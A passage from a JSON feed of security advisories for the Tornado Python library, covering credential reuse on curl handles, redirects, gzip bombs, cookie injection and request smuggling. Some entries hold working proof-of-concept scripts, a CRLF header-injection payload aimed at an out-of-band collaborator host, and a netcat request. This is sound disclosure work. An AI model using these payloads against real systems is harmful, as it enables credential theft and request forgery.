→ 6.5.6, installed in the venv):\n\n```\nscenario                                        cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert          None\nexploit: reused handle (A had client_cert)      'trusted-client'\n\n(sanity) server 1 (mTLS required) saw: 'trusted-client'\n\nVERDICT: VULNERABLE — the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B — proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n    def __init__(self):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                data = b\"\"\n                while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n                    chunk = conn.recv(2048)\n                    if not chunk:\n                        break\n                    data += chunk\n                self.captures.append(data)\n                conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n                             b\"Connection: close\\r\\n\\r\\n\")\n            except Exception:\n                pass\n            finally:\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef proxy_authz(raw):\n    head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n    for line in head.split(\"\\r\\n\"):\n        if line.lower().startswith(\"proxy-authorization:\"):\n            return line\n    return None\n\n\nasync def main():\n    proxy_a = CapturingProxy()\n    proxy_b = CapturingProxy()\n    try:\n        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/a\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n            proxy_username=\"alice\", proxy_password=\"secretA\",\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/b\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await asyncio.sleep(0.2)\n        client.close()\n    finally:\n        proxy_a.stop()\n        proxy_b.stop()\n\n    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n    expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n    print(f\"{'request':\u003c42}{'Proxy-Authorization seen by that proxy'}\")\n    print(f\"{'-' * 42}{'-' * 40}\")\n    print(f\"{'A -\u003e proxy A (alice:secretA specified)':\u003c42}{a or '(none)'}\")\n    print(f\"{'B -\u003e proxy B (NO credentials specified)':\u003c42}{b or '(none)'}\")\n    print()\n    if b and expected in b:\n        print(f\"VERDICT: VULNERABLE — proxy B received alice's credentials \"\n              f\"({expected}) although request B specified no proxy_username.\")\n        return 0\n    print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest                                   Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE — proxy B received alice's credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n  of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n  options on a shared `CurlAsyncHTTPClient` — for Vector A, mixing per-request\n  `client_cert` requests with non-certificate requests; for Vector B,\n  multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n  handshake — proving possession of the private key and disclosing the\n  certificate subject and chain — to a host that was never meant to receive it.\n  For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n  different proxy. If the unintended host/proxy is attacker-controlled or\n  attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n  endpoint, or a proxy chosen from user-controlled configuration), the credential\n  is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n  with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n  affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched — see the\ncomment at lines 401-409 — so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n    curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n    curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n    ...\n    curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n    curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n    curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n    curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T20:37:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f","https://github.com/advisories/GHSA-pw6j-qg29-8w7f"],"source_kind":"github","identifiers":["GHSA-pw6j-qg29-8w7f"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-08-10T06:02:04.315Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzZqLXFnMjktOHc3Zs4ABYsW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdzZqLXFnMjktOHc3Zs4ABYsW","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.7","vulnerable_version_range":"\u003c= 6.5.6"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzZqLXFnMjktOHc3Zs4ABYsW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zeDlnLTh2bXAtd3F2Zs4ABYsO","url":"https://github.com/advisories/GHSA-3x9g-8vmp-wqvf","title":"Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient","description":"## Summary\n\nWhen SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.\n\nAs a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.\n\nBeginning in Tornado 6.5.6, `SimpleAsyncHTTPClient` matches the default behavior of `libcurl` (and therefore `CurlAsyncHTTPClient`): When a redirect changes the scheme, host, or port of the url, the `Authorization` and `Cookie` headers will be removed when following the redirect.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T20:20:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-3x9g-8vmp-wqvf","https://github.com/advisories/GHSA-3x9g-8vmp-wqvf"],"source_kind":"github","identifiers":["GHSA-3x9g-8vmp-wqvf","CVE-2026-49853"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-08-17T05:02:15.445Z","epss_percentage":0.00365,"epss_percentile":0.29616,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeDlnLTh2bXAtd3F2Zs4ABYsO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zeDlnLTh2bXAtd3F2Zs4ABYsO","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.6","vulnerable_version_range":"\u003c 6.5.6"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeDlnLTh2bXAtd3F2Zs4ABYsO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tZ2Y5LTR2cGctaGo1Ns4ABYsP","url":"https://github.com/advisories/GHSA-mgf9-4vpg-hj56","title":"tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)","description":"Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total *compressed* size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. `HTTPServer` is not affected in its default configuration, but it is if `decompress_request=True` is set.\n\nThis bug is fixed in Tornado 6.5.6. `max_body_size` is now checked both for the compressed and cumulative decompressed size of the response.\n\nPrior to upgrading, this issue can be mitigated by setting `decompress_response=False` or using `CurlAsyncHTTPClient`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T20:19:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-mgf9-4vpg-hj56","https://github.com/advisories/GHSA-mgf9-4vpg-hj56"],"source_kind":"github","identifiers":["GHSA-mgf9-4vpg-hj56","CVE-2026-49855"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-08-17T05:02:15.445Z","epss_percentage":0.00572,"epss_percentile":0.44547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2Y5LTR2cGctaGo1Ns4ABYsP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tZ2Y5LTR2cGctaGo1Ns4ABYsP","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.6","vulnerable_version_range":"\u003c 6.5.6"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2Y5LTR2cGctaGo1Ns4ABYsP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jeDNoLTRxcHYtOGhjOc4ABYnI","url":"https://github.com/advisories/GHSA-cx3h-4qpv-8hc9","title":"Tornado has out-of-bounds memory access via C extension","description":"### Summary\n\nTornado's optional native extension `tornado.speedups` implements `websocket_mask` without validating that the `mask` argument is exactly four bytes long. The C function reads four bytes from `mask` unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.\n\nThe behavior is reachable from Tornado's XSRF token decoder when `xsrf_cookies=True` and the native extension is active. \n\n### Mitigations\n\nThis bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-12T18:30:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-cx3h-4qpv-8hc9","https://github.com/tornadoweb/tornado/releases/tag/v6.5.6","https://github.com/advisories/GHSA-cx3h-4qpv-8hc9"],"source_kind":"github","identifiers":["GHSA-cx3h-4qpv-8hc9","CVE-2026-49854"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T19:00:08.384Z","updated_at":"2026-08-14T00:02:20.499Z","epss_percentage":0.00338,"epss_percentile":0.26549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeDNoLTRxcHYtOGhjOc4ABYnI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jeDNoLTRxcHYtOGhjOc4ABYnI","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.6","vulnerable_version_range":"\u003c 6.5.6"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeDNoLTRxcHYtOGhjOc4ABYnI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mcXdtLTZqcGotNXd4Y84ABUrL","url":"https://github.com/advisories/GHSA-fqwm-6jpj-5wxc","title":"Tornado has cookie attribute injection via .RequestHandler.set_cookie","description":"In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to `.RequestHandler.set_cookie` were not checked for crafted characters.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-03T06:31:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-78cv-mqj4-43f7","https://nvd.nist.gov/vuln/detail/CVE-2026-35536","https://github.com/tornadoweb/tornado/releases/tag/v6.5.5","https://github.com/advisories/GHSA-fqwm-6jpj-5wxc"],"source_kind":"github","identifiers":["GHSA-fqwm-6jpj-5wxc","CVE-2026-35536"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.185Z","updated_at":"2026-08-11T14:04:40.450Z","epss_percentage":0.00237,"epss_percentile":0.14543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcXdtLTZqcGotNXd4Y84ABUrL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mcXdtLTZqcGotNXd4Y84ABUrL","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.5","vulnerable_version_range":"\u003c 6.5.5"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcXdtLTZqcGotNXd4Y84ABUrL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xanhmLWYybWctYzZtY84ABTin","url":"https://github.com/advisories/GHSA-qjxf-f2mg-c6mc","title":"Tornado is vulnerable to DoS due to too many multipart parts","description":"In versions of Tornado prior to 6.5.5, the only limit on the number of parts in `multipart/form-data` is the `max_body_size` setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts. \n\nTornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see `tornado.httputil.ParseMultipartConfig`. It is also now possible to disable `multipart/form-data` parsing entirely if it is not required for the application.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-12T14:19:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-qjxf-f2mg-c6mc","https://nvd.nist.gov/vuln/detail/CVE-2026-31958","https://github.com/tornadoweb/tornado/commit/119a195e290c43ad2d63a2cf012c29d43d6ed839","https://github.com/tornadoweb/tornado/releases/tag/v6.5.5","https://lists.debian.org/debian-lts-announce/2026/04/msg00000.html","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2026-140.yaml","https://github.com/advisories/GHSA-qjxf-f2mg-c6mc"],"source_kind":"github","identifiers":["GHSA-qjxf-f2mg-c6mc","CVE-2026-31958"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-12T15:00:08.274Z","updated_at":"2026-08-17T16:05:30.485Z","epss_percentage":0.00375,"epss_percentile":0.30619,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xanhmLWYybWctYzZtY84ABTin","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xanhmLWYybWctYzZtY84ABTin","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.5","vulnerable_version_range":"\u003c= 6.5.4"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xanhmLWYybWctYzZtY84ABTin/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OGN2LW1xajQtNDNmN84ABTgj","url":"https://github.com/advisories/GHSA-78cv-mqj4-43f7","title":"Tornado has incomplete validation of cookie attributes","description":"Values passed to the `domain`, `path`, and `samesite` arguments of `RequestHandler.set_cookie` were not completely validated in versions of Tornado prior to 6.5.5. In particular, semicolons would be allowed, which could be used to inject attacker-controlled values for other cookie attributes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-11T22:17:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-78cv-mqj4-43f7","https://github.com/tornadoweb/tornado/commit/24a2d96ea115f663b223887deb0060f13974c104","https://github.com/tornadoweb/tornado/releases/tag/v6.5.5","https://github.com/advisories/GHSA-78cv-mqj4-43f7"],"source_kind":"github","identifiers":["GHSA-78cv-mqj4-43f7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-11T23:00:10.454Z","updated_at":"2026-08-11T14:05:34.600Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OGN2LW1xajQtNDNmN84ABTgj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OGN2LW1xajQtNDNmN84ABTgj","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.5","vulnerable_version_range":"\u003c= 6.5.4"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OGN2LW1xajQtNDNmN84ABTgj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Y3gzLTZtNjYtN2M1bc4ABH_J","url":"https://github.com/advisories/GHSA-7cx3-6m66-7c5m","title":"Tornado vulnerable to excessive logging caused by malformed multipart form data","description":"### Summary\n\nWhen Tornado's ``multipart/form-data`` parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous.\n\n### Affected versions\n\nAll versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default.\n\n### Solution\n\nUpgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking `Content-Type: multipart/form-data` in a proxy.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-05-16T14:12:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-7cx3-6m66-7c5m","https://nvd.nist.gov/vuln/detail/CVE-2025-47287","https://github.com/tornadoweb/tornado/commit/b39b892bf78fe8fea01dd45199aa88307e7162f3","https://lists.debian.org/debian-lts-announce/2025/05/msg00038.html","https://github.com/advisories/GHSA-7cx3-6m66-7c5m"],"source_kind":"github","identifiers":["GHSA-7cx3-6m66-7c5m","CVE-2025-47287"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":0.0,"created_at":"2025-05-16T15:08:41.082Z","updated_at":"2026-08-17T16:09:24.425Z","epss_percentage":0.00741,"epss_percentile":0.51638,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3gzLTZtNjYtN2M1bc4ABH_J","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Y3gzLTZtNjYtN2M1bc4ABH_J","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5","vulnerable_version_range":"\u003c 6.5"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Y3gzLTZtNjYtN2M1bc4ABH_J/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dzQ5LWg3ODUtbWozY84ABBnk","url":"https://github.com/advisories/GHSA-8w49-h785-mj3c","title":"Tornado has an HTTP cookie parsing DoS vulnerability","description":"The algorithm used for parsing HTTP cookies in Tornado versions prior to 6.4.2 sometimes has quadratic complexity, leading to excessive CPU consumption when parsing maliciously-crafted cookie headers. This parsing occurs in the event loop thread and may block the processing of other requests.\n\nSee also CVE-2024-7592 for a similar vulnerability in cpython.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-22T20:26:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-8w49-h785-mj3c","https://nvd.nist.gov/vuln/detail/CVE-2024-52804","https://github.com/tornadoweb/tornado/commit/d5ba4a1695fbf7c6a3e54313262639b198291533","https://lists.debian.org/debian-lts-announce/2025/01/msg00000.html","https://github.com/advisories/GHSA-8w49-h785-mj3c"],"source_kind":"github","identifiers":["GHSA-8w49-h785-mj3c","CVE-2024-52804"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":0.0,"created_at":"2024-11-22T21:06:52.639Z","updated_at":"2026-08-20T13:06:14.474Z","epss_percentage":0.01051,"epss_percentile":0.61641,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ5LWg3ODUtbWozY84ABBnk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dzQ5LWg3ODUtbWozY84ABBnk","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.4.2","vulnerable_version_range":"\u003c= 6.4.1"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ5LWg3ODUtbWozY84ABBnk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13MjM1LTdwODQteHg1N84AA8x9","url":"https://github.com/advisories/GHSA-w235-7p84-xx57","title":"Tornado has a CRLF injection in CurlAsyncHTTPClient headers","description":"### Summary\nTornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n    http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n    request = httpclient.HTTPRequest(\n        # Burp Collaborator payload\n        \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n        method=\"POST\",\n        body=\"body\",\n        # Injected header using CRLF characters\n        headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n    )\n\n    response = await http_client.fetch(request)\n    print(response.body)\n\n    http_client.close()\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-06-06T21:46:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57","https://github.com/tornadoweb/tornado/commit/7786f09f84c9f3f2012c4cf3878417cb9f053669","https://github.com/advisories/GHSA-w235-7p84-xx57"],"source_kind":"github","identifiers":["GHSA-w235-7p84-xx57"],"repository_url":"https://github.com/tornadoweb/tornado","blast_radius":0.0,"created_at":"2024-06-06T22:05:19.820Z","updated_at":"2026-08-14T00:11:50.840Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MjM1LTdwODQteHg1N84AA8x9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13MjM1LTdwODQteHg1N84AA8x9","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.4.1","vulnerable_version_range":"\u003c= 6.4.0"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MjM1LTdwODQteHg1N84AA8x9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NTNqLW1wbXgtcXE2Z84AA8x8","url":"https://github.com/advisories/GHSA-753j-mpmx-qq6g","title":"Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado","description":"### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request's body:\n```bash\ncat \u003c\u003c EOF \u003e server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n    def post(self):\n        self.write(self.request.body)\n\nasync def main():\n    tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n    await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py \u0026\n```\n2. Send a valid chunked request:\n```bash\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 